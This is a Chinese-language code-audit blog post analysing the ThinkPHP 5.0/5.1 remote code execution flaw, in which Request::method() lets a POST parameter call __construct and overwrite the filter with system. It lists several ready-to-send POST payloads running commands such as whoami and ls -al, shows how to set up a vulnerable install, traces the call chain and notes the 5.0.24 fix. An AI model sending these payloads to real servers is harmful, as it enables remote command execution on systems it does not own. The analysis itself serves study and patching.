少女祈祷中...
秋月竹云的博客
代码审计

ThinkPHP5-代码执行-method任意方法调用

基本信息

在Request::method()中,用户可以调用类中的任意方法,通过 __construct() 覆盖 filter 为 system,再将请求数据传入 filterValue 触发 call_user_func($filter, $value),最终执行任意系统命令。

  • 漏洞类型:代码执行

  • 影响版本

    • 5.0.0 < ThinkPHP <= 5.0.23

    • 5.1.0 <= ThinkPHP <= 5.1.31

漏洞POC

ThinkPHP = 5.0.23(开启debug)

POST /
_method=__construct&filter=system&method=get&get[]=calc
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

环境搭建

composer create-project --prefer-dist topthink/think=5.0.23 tp5-0-23

修改composer.json

{
	"require": {
	    "php": ">=5.4.0",
	    "topthink/framework": "5.0.23"
	},
	"config": {
	    "policy": {
	      "advisories": {
	        "block": false
	      }
	    }
	}
}

执行

composer update

漏洞点

filterValue 中使用 call_user_func

参数为 $request->filter

__construct 可以覆盖自身属性

可以覆盖之前提到的 filter 属性

method 可以任意调用方法

可以通过POST传入

_method=__construct

调用 __construct 方法

漏洞分析

利用思路

  1. 传入 _method参数,触发 method() 覆盖 filter (需要无参数或参数为false,才能进入对应分支)

  2. 触发 filterValue(),调用 call_user_func 并控制参数进行代码执行

触发 method()

Request.php:520, think\Request->method()
Route.php:857, think\Route::check()
App.php:648, think\App::routeCheck()
App.php:116, think\App::run()

这里传入 _method=__construct ,进入 __construct 方法。

同时还要覆盖 filter ,作为执行的函数,这里使用filter=system

成功覆盖 filter

触发 filterValue()

input方法中会调用 filterValue() 方法。

当开启debug模式后,会自动调用 $request->param()

会自动获取所有参数,最后调用input

这里由于我们将filter进行了覆盖,导致无法正常解析POST数据,可以使用GET传参,参数名任意,参数值是 system 的参数

?xxx=calc

也可以通过之前的操作直接覆盖method和get

_method=__construct&filter=system&method=get&get[]=calc

对 data 数组调用 filterValue

成功执行

触发poc

_method=__construct&filter=system&method=get&get[]=calc

漏洞修复

5.0.24版本中进行修复,method中进行白名单限制,只允许特定方法调用

评论